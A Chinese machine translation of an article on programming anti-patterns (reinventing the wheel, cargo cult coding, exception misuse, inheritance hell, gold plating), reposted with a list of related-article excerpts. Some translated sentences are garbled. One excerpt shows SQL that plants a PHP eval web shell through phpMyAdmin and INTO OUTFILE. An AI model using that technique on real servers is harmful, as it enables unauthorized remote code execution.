编程反模式

您是否曾经进行过代码审查,记录了非常高的WTF / m? 您是否想知道所有这些错误代码的原因是什么? 在大多数情况下,导致原因1的主要原因是使用设计和编码反模式。

如果您喜欢定义,请参见以下内容:AntiPattern是一种文学形式,它描述了对问题的普遍存在的解决方案,该解决方案产生肯定的负面影响。 AntiPattern可能是由于经理或开发人员不了解更好,没有足够的知识或经验来解决特定类型的问题或在错误的情况下应用了完美的模式而导致的。

重新发明轮子

IMO经常发生的反模式是缺乏对某些有用框架/库的了解。 Apache commons lang和commons集合是每个Java项目中都应该存在的依赖项。

您可以编写自己喜欢的循环过滤或选择集合中的某些对象的方法,也可以使用CollectionUtils.select(…)或CollectionUtils.filter(…)。

您可以执行一些花哨的非null检查,最后以巨大的if-else构造结束,或者可以使用StringUtils.isNotBlank(…)。 由你决定。

一般规则是不要试图重新发明轮子。 有些人喜欢编写自己的Reflection utils,而Apache的commons beanutils ,Spring的BeanUtils和BeanWrapper可以解决问题。

货物崇拜编程

货物崇拜编程是一种编程样式,其中使用模式和方法而不了解原因。 “货运邪教”一词最初是指第二次世界大战后在南太平洋长大的土著宗教。 这些团体的做法集中在建造精美的飞机和军事起落跑道的模型上,以期召唤在战争中带来奇妙货物的神似飞机。

大多数情况下,熟练的或经验不足的程序员都会使用这种编程方式,从其他地方复制粘贴某些代码。
例子:
–在自说明代码中添加不必要的注释 –为没有问题的垃圾将自动收集的对象添加删除代码 –创建工厂以构建简单的对象

通过例外/期望处理进行编码

代替 检查某些特定的转折情况值(例如null值)的方法,有些人喜欢捕获NullPointerException并在catch块中执行一些逻辑。 这种编码方式称为期望处理,因为预期会发生异常。

发明了异常是为了通知您以下事实:确实发生了一些非常糟糕的事情,但并不意味着经常将它们抛出。 这就是为什么它们被称为“例外”。 如果发生这种情况,请仔细处理它们,但不要滥用它们以执行某些本可以通过简单的if-else检查实现的逻辑。

避免/吞咽异常

参考前面的反模式,当引发异常时,意味着发生了意外情况。 您应该做的最后一件事是吞下这些异常,而不是处理其有用的信息。

例如,如果您有一个只希望返回一个对象的方法,因为它希望它是唯一的,则对返回结果列表的数据库查询进行性能检查,检查该列表的大小是否等于1,然后执行只能返回1个唯一对象的查询。结果(如果没有抛出异常)。 如果要实现类似的东西,则意味着预期的对象可能不是唯一的,这意味着实现与分析中所说的有所不同。

继承地狱

继承应谨慎处理。 它非常有用,但是您只能使用它的预期用途。 如果继承树变得肿,那是不对的。 不要为1种特定情况编写抽象类。 请改用合成。 策略模式可以在这里派上用场。

例如,如果您的JSF托管bean'EditUserManagedBean'扩展了AbstractEditingManagedBean,又扩展了AbstractSelectionManagedBean,又扩展了AsbtractParentDetailManagedBean,又扩展了AbstractManagedBean,则您应该知道有些错误,并且应该有其他方法可以实现此行为 ;-)

镀金 和过早优化

有些人喜欢通过继续努力来改进代码,直到付出额外的努力才增加了价值,而不是坚持要求。 此处犯的错误是,使最终用户看到产品中的其他或增强功能比用户要求或期望的功能更加高兴。 用户可能对结果感到失望,而开发人员的额外努力可能是徒劳的。 该过程称为镀金。

镀金与过早的优化有关。 过早的优化是指考虑将来可能会出现的问题,但目前还不是这种情况。 您应该只考虑所要求的内容和要求的内容,而不要考虑最终可能对将来的目的有用的内容。 频繁发生的过早优化是过早的性能优化。 如果此时不存在性能问题,请不要尝试处理它们,当它们发生时再进行处理。

参考文献

  • 由我们的JCG合作伙伴 Glenn Dejaeger在about:software development中 编程反模式 。
  • http://en.wikipedia.org/wiki/Anti-pattern#Programming_anti-patterns

相关文章 :
  • JDK中的设计模式
  • 正确记录应用程序的10个技巧
  • 每个程序员都应该知道的事情
  • Java教程和Android教程列表

翻译自: https://www.javacodegeeks.com/2011/10/programming-antipatterns.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/373908.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python概率密度函数参数估计_EM算法求高斯混合模型参数估计——Python实现

#coding:gbkimport mathimport copyimport numpy as npimport matplotlib.pyplot as pltisdebug False# 指定k个高斯分布参数,这里指定k2。注意2个高斯分布具有相同均方差Sigma,分别为Mu1,Mu2。def ini_data(Sigma,Mu1,Mu2,k,N):global Xglobal Mugloba…

phpmyadmin 各种技巧拿 webshell

site.com/phpMyAdminsite.com/sqlD:\wamp\www账号还有密码root 密码第一种CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (<?php eval($_POST[pass]);?>);SELECT darkmoon1 FROM darkmoon INTO OUTFILE d:/…

Finally语句块的执行

一、finally语句块是否一定执行&#xff1f; Java中异常捕获机制try...catch...finally块中的finally语句是不是一定会被执行&#xff1f;很多人都说不是&#xff0c;当然他们的回答是正确的&#xff0c;经过试验&#xff0c;至少以下有两种情况下finally语句是不会被执行的&am…

面向对象 封装 集成 特性

访问修饰符&#xff1a;pubulc:公共的&#xff0c;只要引用了命名空间&#xff0c;就可以随意进行访问 private:私有的&#xff0c;只有当前类内部才可以访问 internal&#xff1a;内部的&#xff0c;当前程序集内可以访问&#xff0c;程序集就是命名空间&#xff0c;此修饰符是…

sql 插入text字段包含特殊字符_Kettle(PDI)转换中输出之插入/更新详解

概述Insert / update(插入 / 更新)此步骤首先使用一个或多个查询关键字查找表中的一行。如果找不到该行&#xff0c;则插入该行。如果可以找到它&#xff0c;并且要更新的字段相同&#xff0c;则不执行任何操作。如果它们不完全相同&#xff0c;则更新表中的行。注意&#xff1…

使用Java发送电子邮件

我开始使用Java作为简单的“如何发送电子邮件”来撰写这篇文章&#xff0c;但是后来我发现我需要简要解释更多事情。 因此&#xff0c;这是有关使用Java发送电子邮件的所有摘要。 在Java SE平台之外&#xff08;但包含在JavaEE中&#xff09;&#xff0c; JavaMail软件包提供了…

一张图让你看清Java集合类(Java集合类的总结)

如今关于Java集合类的文章非常多&#xff0c;可是我近期看到一个非常有意思图片&#xff0c;基本上把Java集合的整体框架都给展现出来了。非常直观。 假设发现图片看不清楚。点此处看大图 在这里&#xff0c;集合类分为了Map和Collection两个大的类别。 处于图片左上角的那一块…

CSDN挑战编程——《数学问题》

数学问题 题目详情: 给你两个长度为n的正整数序列分别为{a1,a2,a3...an},{b1,b2,b3...bn},0<ai,bi<100&#xff1b; 设Smax{x1*a1x2*a2x3*a3...xn*an,(1-x1)*b1(1-x2)*b2(1-x3)*b3...(1-xn)*bn}&#xff0c;xi为整数&#xff0c;0<xi<1。 请你求出S的最小值。 输入…

【P1835】小红花

很简单的题&#xff0c;然而我没想到&#xff0c;在NOIP上怎么办嘛QAQ 话说这题不知道怎么分类啊……先扔到玄学里边把…… 原题&#xff1a; Fj在圣诞节来临之际&#xff0c;决定给他的奶牛发一些小红花。现在Fj一共有N头奶牛&#xff0c;这N头牛按照编号1..N&#xff0c;排成…

python多维数组运用_使用Python将文件读入多维数组

If I have a text file like this:Hello WorldHow are you?Bye WorldHow would I read it into a multidimensional array like this:[["Hello", "World"],["How", "are", "you?"],["Bye" "World"]]I…

Java日志混乱

每个应用程序都需要记录日志。 现在&#xff0c;对于在Java中确切使用什么有很多选择。 最著名的框架是&#xff1a;log4j&#xff0c;logback&#xff0c;commons-logging&#xff0c;slf4j&#xff0c;java.util.logging。 还有更多的东西–时不时有人决定编写自己的记录器–…

Cocos2d-x 3.2 Lua演示样例FontTest(字体測试)

Cocos2d-x 3.2 Lua演示样例FontTest&#xff08;字体測试&#xff09;本篇博客介绍Cocos2d-x 3.2中Lua測试项目中的FontTest样例&#xff0c;主要使用了字体文件来创建我们想要的字体样式&#xff1a;第一个參数为文本。第二參数为ttf字体文件&#xff0c;第三个參数为字体大小…

CSDN挑战编程——《绝对值最小》

绝对值最小 题目详情: 给你一个数组A[n],请你计算出ansmin(|A[i]A[j]|)(0<i,j<n). 例如&#xff1a;A{1&#xff0c; 4&#xff0c; -3}&#xff0c; 则&#xff1a; |A[0] A[0]| |1 1| 2. |A[0] A[1]| |1 4| 5. |A[0] A[2]| |1 (-3)| 2. |A[1] A[1]| |4 …

linux上安装memcached步骤

libevent: http://libevent.org/ 服务器端&#xff1a;https://code.google.com/archive/p/memcached/downloads 客户端&#xff1a; http://pecl.php.net/package/memcache 和 http://pecl.php.net/package/memcached 二选一 http://chenzhou123520.iteye.com/blog/1…

IPC之SystemV

svipc - System V interprocess communication mechanisms linux实现的System V interprocess communication (IPC)机制包含消息队列&#xff08;message queues&#xff09;&#xff0c;信号集&#xff08;semaphore sets&#xff09;&#xff0c;和共享内存&#xff08;share…

oracle create user

sqlplus /nolog conn sys/pw123456orcl as sysdba CREATE USER zengwenfeng IDENTIFIED BY zengwenfeng ; GRANT ALL PRIVILEGES TO zengwenfeng ; COMMIT; C:\Users\Administrator>sqlplus /nologSQL*Plus: Release 11.2.0.1.0 Production on 星期日 12月 24 21:38:24 20…

具有GlassFish和一致性的高性能JPA –第2部分

在我的四部分系列的第二部分中&#xff0c;我将解释将Coherence与EclipseLink和GlassFish一起使用的策略第一。这描述了配置Coherence的JPA支持的Cache所必须采取的步骤&#xff0c;以及如何在GlassFish中使用它。高性能数据存储。 一般的做法 您可以将Coherence API与通过JPA映…

arm板telnetd为什么运行不了_一种基于ARM的嵌入式系统开发的方案详细讲解

背景介绍在日益信息化的社会中&#xff0c;各种各样的嵌入式系统已经全面渗透到日常生活的每一个角落。嵌入式系统的功能越来越复杂&#xff0c;这就使得一个嵌入式系统产品从市场需求立项到方案选择、样机研制、定型量产所需要的开发费用越来越多&#xff0c;所需开发时间越来…

反素数 -- 数学

反素数就是区间内约数个数最多的那个数。 在ACM题目里&#xff0c; 一般是求约数最多而且数字最小的那个数&#xff0c;【1--n】 二是求约数刚好等于n的最小的那个数 三是求区间里的最小反素数【beign&#xff0c;end】 1和3有区别吗&#xff1f;有&#xff0c;1可以加速&#…

编程挑战系统的输入和输出详细说明

在高校俱乐部线上编程挑战中&#xff0c;一道题目的所有测试数据是放在一个文本文件中&#xff0c;选手将一道题目的程序提交给评判系统运行&#xff0c;程序从该文件中读取测试数据&#xff0c;再把运行结果输出到另一个文本文件中。系统把输出文件与标准答案比对&#xff0c;…